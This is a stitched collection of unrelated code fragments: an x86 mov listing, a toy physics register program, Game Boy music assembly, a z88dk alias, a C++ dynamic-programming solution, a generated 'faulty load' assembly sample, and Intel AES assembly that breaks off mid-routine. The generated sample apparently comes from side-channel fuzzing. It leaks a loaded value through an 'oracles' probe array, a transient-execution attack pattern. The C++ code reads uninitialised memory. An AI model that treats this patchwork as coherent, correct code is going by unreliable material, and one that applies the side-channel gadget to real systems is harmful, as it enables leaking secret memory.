mov [ rsp + 0xcf0 ], r11
mov [ rsp + 0xcf8 ], r13
mov [ rsp + 0xd00 ], r10
mov [ rsp + 0xd08 ], rsi
mov [ rsp + 0xd0 ], r10
mov [ rsp + 0xd10 ], rax
mov [ rsp + 0xd18 ], rdi
mov [ rsp + 0xd20 ], r8
mov [ rsp + 0xd28 ], rdx
mov [ rsp + 0xd30 ], r9
mov [ rsp + 0xd38 ], rcx
mov [ rsp + 0xd40 ], r12
mov [ rsp + 0xd48 ], r9
mov [ rsp + 0xd50 ], r11
mov [ rsp + 0xd58 ], r10
mov [ rsp + 0xd60 ], rcx
mov [ rsp + 0xd68 ], rdx
mov [ rsp + 0xd70 ], rax
mov [ rsp + 0xd78 ], rbx
mov [ rsp + 0xd80 ], rcx
mov [ rsp + 0xd88 ], rax
mov [ rsp + 0xd8 ], rbx
mov [ rsp + 0xd90 ], r13
mov [ rsp + 0xd98 ], r15
mov [ rsp + 0xda0 ], r13
mov [ rsp + 0xda8 ], rbp
mov [ rsp + 0xdb0 ], r15
mov [ rsp + 0xdb8 ], rcx
mov [ rsp + 0xdc0 ], rbp
mov [ rsp + 0xdc8 ], rax
mov [ rsp + 0xdd0 ], rdi
mov [ rsp + 0xdd8 ], r11
mov [ rsp + 0xde0 ], r12
mov [ rsp + 0xde8 ], rdi
mov [ rsp + 0xdf0 ], rdx
mov [ rsp + 0xdf8 ], r15
mov [ rsp + 0xe00 ], r13
mov [ rsp + 0xe08 ], r14
mov [ rsp + 0xe0 ], r13
mov [ rsp + 0xe10 ], r15
mov [ rsp + 0xe18 ], rax
mov [ rsp + 0xe20 ], rcx
mov [ rsp + 0xe28 ], r11
mov [ rsp + 0xe30 ], rbx
mov [ rsp + 0xe38 ], r11
mov [ rsp + 0xe40 ], r9
mov [ rsp + 0xe48 ], r14
mov [ rsp + 0xe50 ], r10
mov [ rsp + 0xe58 ], r11
mov [ rsp + 0xe60 ], r10
mov [ rsp + 0xe68 ], r15
mov [ rsp + 0xe70 ], rbp
mov [ rsp + 0xe78 ], r8
mov [ rsp + 0xe80 ], r14
mov [ rsp + 0xe88 ], r11
mov [ rsp + 0xe8 ], rdx
mov [ rsp + 0xe90 ], rdx
mov [ rsp + 0xe98 ], rdx
mov [ rsp + 0xea0 ], rsi
mov [ rsp + 0xea8 ], r9
mov [ rsp + 0xeb0 ], rdi
mov [ rsp + 0xeb8 ], rcx
mov [ rsp + 0xec0 ], r13
mov [ rsp + 0xec8 ], rdx
mov [ rsp + 0xed0 ], rax
mov [ rsp + 0xed8 ], rcx
mov [ rsp + 0xee0 ], rbx
mov [ rsp + 0xee8 ], rsi
mov [ rsp + 0xef0 ], r15
mov [ rsp + 0xef8 ], rbp
mov [ rsp + 0xf00 ], r8
mov [ rsp + 0xf08 ], r14
mov [ rsp + 0xf0 ], rax
mov [ rsp + 0xf10 ], r12
mov [ rsp + 0xf18 ], rbp
mov [ rsp + 0xf20 ], rdi
mov [ rsp + 0xf28 ], r15
mov [ rsp + 0xf30 ], rax
mov [ rsp + 0xf38 ], r13
mov [ rsp + 0xf40 ], r8
mov [ rsp + 0xf48 ], rbx
mov [ rsp + 0xf50 ], r9
mov [ rsp + 0xf58 ], r10
mov [ rsp + 0xf60 ], rdx
mov [ rsp + 0xf68 ], r13
mov [ rsp + 0xf70 ], rdi
mov [ rsp + 0xf78 ], rax
mov [ rsp + 0xf80 ], rax
mov [ rsp + 0xf88 ], rbx
mov [ rsp + 0xf8 ], rbx
mov [ rsp + 0xf90 ], r10
mov [ rsp + 0xf98 ], r10
mov [ rsp + 0xfa0 ], rbp
mov [ rsp + 0xfa8 ], rdi
mov [ rsp + 0xfb0 ], r11
mov [ rsp + 0xfb8 ], rax
mov [ rsp + 0xfc0 ], r14
mov [ rsp + 0xfc8 ], r14
mov [ rsp + 0xfd0 ], r15
mov [ rsp + 0xfd8 ], rcx
mov [ rsp + 0xfe0 ], rdx
mov [ rsp + 0xfe8 ], r8
mov [ rsp + 0xff0 ], rsi
mov [ rsp + 0xff8 ], r8
mov byte [ rsp + 0x18 ], r10b
mov byte [ rsp + 0xa0 ], r14b
mov byte [ rsp + 0xa8 ], r14b
mov byte [ rsp + 0xf0 ], r15b
mov r10b, dl
mov r10, r12
mov r10, r9
mov r10, rdx
mov r10, rdx
mov r10, [ rsp + 0x58 ]
mov r11, -0x1
mov r11, r13
mov r11, rdx
mov r11, [ rsi + 0x10 ]
mov r11, [ rsp + 0x30 ]
mov r11, [ rsp + 0x60 ]
mov r11, [ rsp + 0x90 ]
mov r12, r15
mov r12, rax
mov r12, rcx
mov r12, [ rsp + 0x110 ]
mov r12, [ rsp + 0x20 ]
mov r12, [ rsp + 0x28 ]
mov r12, [ rsp + 0x30 ]
mov r12, [ rsp + 0x58 ]
mov r13, -0x1
mov r13, r10
mov r13, rdx
mov r13, rdx
mov r13, [ rsi + 0x18 ]
mov r13, [ rsp + 0x10 ]
mov r13, [ rsp + 0x118 ]
mov r13, [ rsp + 0x28 ]
mov r13, [ rsp + 0x30 ]
mov r13, [ rsp + 0x40 ]
mov r13, [ rsp + 0x60 ]
mov r14, -0x1
mov r14, r10
mov r14, rax
mov r14, rdx
mov r14, [ rsp + 0x120 ]
mov r14, [ rsp + 0x30 ]
mov r14, [ rsp + 0x38 ]
mov r14, [ rsp + 0x68 ]
mov r15, -0x1
mov r15, r8
mov r15, rdx
mov r15, rdx
mov r15, [ rsp + 0x128 ]
mov r15, [ rsp + 0x38 ]
mov r15, [ rsp + 0x40 ]
mov r15, [ rsp + 0x70 ]
mov r15, [ rsp + 0x8 ]
mov r15, [ rsp + 0xf8 ]
mov r8, r12
mov r8, rbx
mov r8, [ rsp + 0x18 ]
mov r8, [ rsp + 0x8 ]
mov r8, [ rsp + 0x8 ]
mov r9, r14
mov r9, rbx
mov r9, rdx
mov r9, [ rsi + 0x0 ]
mov r9, [ rsp + 0x30 ]
mov r9, [ rsp + 0x88 ]
mov r9, [ rsp + 0xb0 ]
mov r9, [ rsp + 0xd8 ]
mov [ rax + 0x0 ], r11
mov [ rax + 0x0 ], rbx
mov [ rax + 0x10 ], rbp
mov [ rax + 0x10 ], rcx
mov [ rax + 0x18 ], r14
mov [ rax + 0x18 ], r15
mov [ rax + 0x20 ], rcx
mov [ rax + 0x8 ], r9
mov [ rax + 0x8 ], rbp
mov rax, [ rsp + 0x0 ]
mov rax, [ rsp + 0x0 ]
mov rbp, -0x1
mov rbp, r9
mov rbp, rbx
mov rbp, [ rsp + 0x108 ]
mov rbp, [ rsp + 0x18 ]
mov rbp, [ rsp + 0x20 ]
mov rbp, [ rsp + 0x50 ]
mov rbp, [ rsp + 0x78 ]
mov rbx, -0x1
mov rbx, rdx
mov rbx, [ rsp + 0x10 ]
mov rbx, [ rsp + 0x100 ]
mov rbx, [ rsp + 0x18 ]
mov rbx, [ rsp + 0x38 ]
mov rbx, [ rsp + 0x48 ]
mov rbx, [ rsp + 0xc8 ]
mov rbx, [ rsp + 0xe0 ]
mov rcx, -0x1
mov rcx, r14
mov rcx, r14
mov rcx, rbp
mov rcx, [ rsp + 0x28 ]
mov rcx, [ rsp + 0xb8 ]
mov [ rdi + 0x0 ], r12
mov [ rdi + 0x0 ], r9
mov [ rdi + 0x10 ], r13
mov [ rdi + 0x10 ], r14
mov [ rdi + 0x18 ], r8
mov [ rdi + 0x18 ], rcx
mov [ rdi + 0x20 ], r15
mov [ rdi + 0x20 ], r8
mov [ rdi + 0x8 ], r10
mov [ rdi + 0x8 ], rdx
mov rdi, [ rsp + 0x50 ]
mov rdi, [ rsp + 0x8 ]
mov rdi, [ rsp + 0xe8 ]
mov rdx, -0x1
mov rdx, r10
mov rdx, r10
mov rdx, r11
mov rdx, r12
mov rdx, r13
mov rdx, r13
mov rdx, r14
mov rdx, r15
mov rdx, r15
mov rdx, [ r9 + 0x8 ]
mov rdx, rbx
mov rdx, rcx
mov rdx, [ rsi + 0x0 ]
mov rdx, [ rsi + 0x0 ]
mov rdx, [ rsi + 0x10 ]
mov rdx, [ rsi + 0x10 ]
mov rdx, [ rsi + 0x18 ]
mov rdx, [ rsi + 0x18 ]
mov rdx, [ rsi + 0x20 ]
mov rdx, [ rsi + 0x8 ]
mov rdx, [ rsi + 0x8 ]
mov rdx, [ rsp + 0x0 ]
mov rdx, [ rsp + 0x30 ]
mov rdx, [ rsp + 0x70 ]
mov rdx, [ rsp + 0x80 ]
mov rdx, [ rsp + 0x90 ]
mov rsi, -0x1
mov rsi, [ r12 + 0x8 ]
mov rsi, [ rsp + 0x30 ]
mov rsi, [ rsp + 0xc0 ]
mov [ rsp + 0x0 ], r9
mov [ rsp + 0x0 ], rcx
mov [ rsp + 0x0 ], rdi
mov [ rsp + 0x0 ], rdi
mov [ rsp + 0x100 ], rbx
mov [ rsp + 0x108 ], rbp
mov [ rsp + 0x10 ], r15
mov [ rsp + 0x10 ], rax
mov [ rsp + 0x10 ], rbx
mov [ rsp + 0x110 ], r12
mov [ rsp + 0x118 ], r13
mov [ rsp + 0x120 ], r14
mov [ rsp + 0x128 ], r15
mov [ rsp + 0x18 ], r14
mov [ rsp + 0x18 ], rbp
mov [ rsp + 0x18 ], rbx
mov [ rsp + 0x20 ], r12
mov [ rsp + 0x20 ], r13
mov [ rsp + 0x20 ], rax
mov [ rsp + 0x20 ], rbp
mov [ rsp + 0x28 ], r11
mov [ rsp + 0x28 ], r12
mov [ rsp + 0x28 ], r13
mov [ rsp + 0x28 ], r15
mov [ rsp + 0x30 ], r10
mov [ rsp + 0x30 ], r11
mov [ rsp + 0x30 ], r12
mov [ rsp + 0x30 ], r13
mov [ rsp + 0x30 ], r14
mov [ rsp + 0x30 ], r9
mov [ rsp + 0x30 ], rsi
mov [ rsp + 0x38 ], r14
mov [ rsp + 0x38 ], r15
mov [ rsp + 0x38 ], r15
mov [ rsp + 0x38 ], rbx
mov [ rsp + 0x40 ], r12
mov [ rsp + 0x40 ], r15
mov [ rsp + 0x40 ], rsi
mov [ rsp + 0x48 ], rbx
mov [ rsp + 0x48 ], rsi
mov [ rsp + 0x50 ], r13
mov [ rsp + 0x50 ], rbp
mov [ rsp + 0x58 ], r12
mov [ rsp + 0x58 ], r9
mov [ rsp + 0x60 ], r13
mov [ rsp + 0x60 ], rbp
mov [ rsp + 0x68 ], r14
mov [ rsp + 0x70 ], r14
mov [ rsp + 0x70 ], r15
mov [ rsp + 0x78 ], rdi
mov [ rsp + 0x80 ], r8
mov [ rsp + 0x88 ], r8
mov [ rsp + 0x8 ], r12
mov [ rsp + 0x8 ], r9
mov [ rsp + 0x8 ], rcx
mov [ rsp + 0x8 ], rdi
mov [ rsp + 0x90 ], r14
mov [ rsp + 0x98 ], rdx
mov [ rsp + 0xb0 ], rbx
mov [ rsp + 0xb8 ], rcx
mov [ rsp + 0xc0 ], rbx
mov [ rsp + 0xc8 ], rcx
mov [ rsp + 0xd0 ], rbp
mov [ rsp + 0xd8 ], rsi
mov [ rsp + 0xe0 ], r13
mov [ rsp + 0xe8 ], rcx
mov [ rsp + 0xf8 ], r14
mov eax, r15d
mov eax, r15d
mov ax, r15w
mov al, r15b
mov rax, -4624529908474429120
mov rax, 18446744073709551615
|
Set R1, #30.0 --angle of inclined plane
--convert to radians
Set R2, #3.14159265 --pi
Fmul R1, R1, R2
Set R2, #180.0
Fdiv R1, R1, R2
--compute equation
Cos R2, R1
Set R3, #0.4
FMul R2, R2, R3
Sin R1, R1
Fadd R1, R1, R2
Set R2, #100.0 --mass of crate
Fmul R1, R1, R2
Set R2, #9.81 --acceleration of gravity
Fmul R1, R1, R2
Get R1 |
Music_CherrygroveCity:
musicheader 4, 1, Music_CherrygroveCity_Ch1
musicheader 1, 2, Music_CherrygroveCity_Ch2
musicheader 1, 3, Music_CherrygroveCity_Ch3
musicheader 1, 4, Music_CherrygroveCity_Ch4
Music_CherrygroveCity_Ch1:
tempo 152
volume $77
dutycycle $3
tone $0001
vibrato $8, $15
stereopanning $f0
notetype $c, $b5
note __, 10
octave 3
note C_, 2
note D_, 2
note E_, 2
Music_CherrygroveCity_branch_f5b26:
note A_, 4
note G#, 2
note A_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 6
note F_, 2
note C_, 2
octave 2
note A#, 2
octave 3
note C_, 2
note E_, 2
note G_, 4
note F#, 2
note G_, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
note G_, 6
note E_, 2
note C_, 2
octave 2
note A#, 2
note A_, 2
octave 3
note C_, 2
intensity $b7
octave 2
note A#, 6
octave 3
note D_, 6
note A#, 4
note A_, 6
note F_, 2
note C_, 8
octave 2
note A#, 6
octave 3
note D_, 6
intensity $b5
note A_, 4
note G_, 4
note E_, 4
note D_, 4
note E_, 4
octave 2
note A#, 6
octave 3
note D_, 6
note A#, 4
note A_, 6
note F_, 2
note C_, 4
octave 2
note B_, 4
note A#, 6
octave 3
note C#, 2
octave 2
note A#, 4
note G_, 4
note A_, 4
octave 3
note C_, 4
octave 2
note A_, 4
octave 3
note C_, 4
loopchannel 0, Music_CherrygroveCity_branch_f5b26
Music_CherrygroveCity_Ch2:
dutycycle $3
vibrato $10, $36
stereopanning $f
notetype $c, $c3
octave 3
note C_, 2
note D_, 2
note E_, 2
note D_, 2
note E_, 2
note G_, 2
note A_, 2
note A#, 2
Music_CherrygroveCity_branch_f5b87:
intensity $c6
octave 4
note C_, 6
note D_, 4
intensity $b3
note D_, 2
note C_, 2
octave 3
note A#, 2
intensity $c7
octave 4
note C_, 6
octave 3
note A_, 2
note F_, 8
intensity $c6
note A#, 6
octave 4
note C_, 4
intensity $b3
note C_, 2
octave 3
note A#, 2
note A_, 2
intensity $c7
note A#, 6
note G_, 2
note E_, 8
intensity $a0
note D_, 6
note F_, 6
octave 4
note D_, 4
note C_, 6
intensity $a5
octave 3
note A_, 2
intensity $c7
note F_, 8
intensity $a0
note D_, 6
note F_, 6
octave 4
note D_, 4
intensity $c7
note C_, 16
intensity $b5
octave 3
note D_, 6
note F_, 6
octave 4
note D_, 4
note C_, 6
octave 3
note A_, 2
note F_, 8
note C#, 6
note F_, 6
note G_, 4
intensity $a0
note F_, 8
intensity $a7
note F_, 8
loopchannel 0, Music_CherrygroveCity_branch_f5b87
Music_CherrygroveCity_Ch3:
notetype $c, $16
note __, 4
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
Music_CherrygroveCity_branch_f5be4:
note A_, 2
note F_, 2
note A_, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A_, 2
note F_, 2
note A_, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A#, 2
note G_, 2
note A#, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A#, 4
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 4
note F_, 2
note A_, 2
note F_, 2
note E_, 2
note D#, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note E_, 2
note G_, 2
note A#, 2
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 4
note F_, 2
note A_, 2
note F_, 2
note E_, 2
note D#, 2
note C#, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
loopchannel 0, Music_CherrygroveCity_branch_f5be4
Music_CherrygroveCity_Ch4:
togglenoise $3
notetype $c
note __, 16
Music_CherrygroveCity_branch_f5c4d:
note C#, 2
note __, 2
note G_, 2
note C#, 2
note C#, 2
note F#, 2
note C#, 4
note C#, 2
note __, 2
note G_, 2
note C#, 1
note C#, 1
note F#, 4
note C#, 2
note G_, 2
loopchannel 0, Music_CherrygroveCity_branch_f5c4d
|
SECTION code_fp_math48
PUBLIC ___fs2uint
EXTERN cm48_sdccixp_ds2uint
defc ___fs2uint = cm48_sdccixp_ds2uint
|
#include<iostream>
using namespace std;
int min(int a, int b){
return a < b ? a : b;
}
int main(){
int n;
cin >> n;
int cost[1000][3];
int dp[2][3];
int curr = 0;
for(int i = 0; i < n; i++){
cin >> cost[i][0] >> cost[i][1] >> cost[i][2];
}
for(int i = 0; i < n; i++){
int opp = curr ? 0 : 1;
dp[opp][0] = min(dp[curr][1], dp[curr][2]) + cost[i][0];
dp[opp][1] = min(dp[curr][0], dp[curr][2]) + cost[i][1];
dp[opp][2] = min(dp[curr][0], dp[curr][1]) + cost[i][2];
curr = opp;
}
cout << min(min(dp[curr][0], dp[curr][1]), dp[curr][2]);
return 0;
} |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x51c1, %rsi
lea addresses_WT_ht+0x7601, %rdi
nop
nop
nop
nop
sub $18071, %r8
mov $107, %rcx
rep movsb
nop
nop
nop
sub $3130, %rdx
lea addresses_WT_ht+0x4e2f, %rsi
lea addresses_UC_ht+0x1bbc1, %rdi
nop
sub $19025, %r10
mov $11, %rcx
rep movsq
add %rcx, %rcx
lea addresses_UC_ht+0x1be81, %r8
nop
nop
xor %rdx, %rdx
movups (%r8), %xmm1
vpextrq $1, %xmm1, %r10
and %rdx, %rdx
lea addresses_normal_ht+0x16281, %rdi
nop
nop
nop
nop
nop
xor $13079, %rbp
movups (%rdi), %xmm0
vpextrq $0, %xmm0, %r10
nop
nop
nop
nop
dec %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rbx
push %rdx
push %rsi
// Store
mov $0x444d5f0000000e01, %r10
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r15
movq %r15, %xmm7
vmovups %ymm7, (%r10)
nop
nop
nop
xor $41804, %rbx
// Faulty Load
lea addresses_WT+0xe201, %rdx
and $57650, %r15
mov (%rdx), %r11w
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rsi
pop %rdx
pop %rbx
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
ENCODE_DATA:
TransFwdLO:
.byte 0x0
.byte 0x1
.byte 0x2E
.byte 0x2F
.byte 0x49
.byte 0x48
.byte 0x67
.byte 0x66
.byte 0x43
.byte 0x42
.byte 0x6D
.byte 0x6C
.byte 0xA
.byte 0xB
.byte 0x24
.byte 0x25
TransFwdHI:
.byte 0x0
.byte 0x35
.byte 0xD0
.byte 0xE5
.byte 0x3D
.byte 0x8
.byte 0xED
.byte 0xD8
.byte 0xE9
.byte 0xDC
.byte 0x39
.byte 0xC
.byte 0xD4
.byte 0xE1
.byte 0x4
.byte 0x31
TransInvLO:
.byte 0x0
.byte 0x1
.byte 0x5C
.byte 0x5D
.byte 0xE0
.byte 0xE1
.byte 0xBC
.byte 0xBD
.byte 0x50
.byte 0x51
.byte 0xC
.byte 0xD
.byte 0xB0
.byte 0xB1
.byte 0xEC
.byte 0xED
TransInvHI:
.byte 0x0
.byte 0x1F
.byte 0xEE
.byte 0xF1
.byte 0x55
.byte 0x4A
.byte 0xBB
.byte 0xA4
.byte 0x6A
.byte 0x75
.byte 0x84
.byte 0x9B
.byte 0x3F
.byte 0x20
.byte 0xD1
.byte 0xCE
GF16_csize:
.byte 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF
GF16_logTbl:
.byte 0xC0, 0x0, 0x1, 0x4, 0x2, 0x8, 0x5, 0xA, 0x3, 0xE, 0x9, 0x7, 0x6, 0xD, 0xB, 0xC
GF16_expTbl:
.byte 0x1, 0x2, 0x4, 0x8, 0x3, 0x6, 0xC, 0xB, 0x5, 0xA, 0x7, 0xE, 0xF, 0xD, 0x9, 0x1
GF16_sqr1:
.byte 0x0, 0x9, 0x2, 0xB, 0x8, 0x1, 0xA, 0x3, 0x6, 0xF, 0x4, 0xD, 0xE, 0x7, 0xC, 0x5
GF16_invLog:
.byte 0xC0, 0x0, 0xE, 0xB, 0xD, 0x7, 0xA, 0x5, 0xC, 0x1, 0x6, 0x8, 0x9, 0x2, 0x4, 0x3
GF16_expTbl_shift:
.byte 0x10, 0x20, 0x40, 0x80, 0x30, 0x60, 0xC0, 0xB0, 0x50, 0xA0, 0x70, 0xE0, 0xF0, 0xD0, 0x90, 0x10
FwdAffineLO:
.byte 0x0
.byte 0x10
.byte 0x22
.byte 0x32
.byte 0x55
.byte 0x45
.byte 0x77
.byte 0x67
.byte 0x82
.byte 0x92
.byte 0xA0
.byte 0xB0
.byte 0xD7
.byte 0xC7
.byte 0xF5
.byte 0xE5
FwdAffineHI:
.byte 0x0
.byte 0x41
.byte 0x34
.byte 0x75
.byte 0x40
.byte 0x1
.byte 0x74
.byte 0x35
.byte 0x2A
.byte 0x6B
.byte 0x1E
.byte 0x5F
.byte 0x6A
.byte 0x2B
.byte 0x5E
.byte 0x1F
FwdAffineCnt:
.quad 0xC2C2C2C2C2C2C2C2, 0xC2C2C2C2C2C2C2C2
FwdShiftRows:
.byte 0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11
GF16mul_E_2x:
.byte 0x0, 0x2E, 0x4F, 0x61, 0x8D, 0xA3, 0xC2, 0xEC, 0x39, 0x17, 0x76, 0x58, 0xB4, 0x9A, 0xFB, 0xD5
GF16mul_1_Cx:
.byte 0x0, 0xC1, 0xB2, 0x73, 0x54, 0x95, 0xE6, 0x27, 0xA8, 0x69, 0x1A, 0xDB, 0xFC, 0x3D, 0x4E, 0x8F
ColumnROR:
.byte 1,2,3,0,5,6,7,4,9,10,11,8,13,14,15,12
.p2align 4, 0x90
.globl s8_SafeEncrypt_RIJ128
.type s8_SafeEncrypt_RIJ128, @function
s8_SafeEncrypt_RIJ128:
push %ebp
mov %esp, %ebp
push %esi
push %edi
movl (8)(%ebp), %esi
movl (12)(%ebp), %edi
movl (20)(%ebp), %edx
movl (16)(%ebp), %ecx
lea ENCODE_DATA, %eax
movdqu (%esi), %xmm1
movdqa ((GF16_csize-ENCODE_DATA))(%eax), %xmm7
movdqa ((TransFwdLO-ENCODE_DATA))(%eax), %xmm0
movdqa ((TransFwdHI-ENCODE_DATA))(%eax), %xmm2
movdqa %xmm1, %xmm3
psrlw $(4), %xmm1
pand %xmm7, %xmm3
pand %xmm7, %xmm1
pshufb %xmm3, %xmm0
pshufb %xmm1, %xmm2
pxor %xmm2, %xmm0
pxor (%edx), %xmm0
add $(16), %edx
sub $(1), %ecx
.Lencode_roundgas_1:
movdqa %xmm0, %xmm1
pand %xmm7, %xmm0
psrlw $(4), %xmm1
pand %xmm7, %xmm1
movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm1, %xmm0
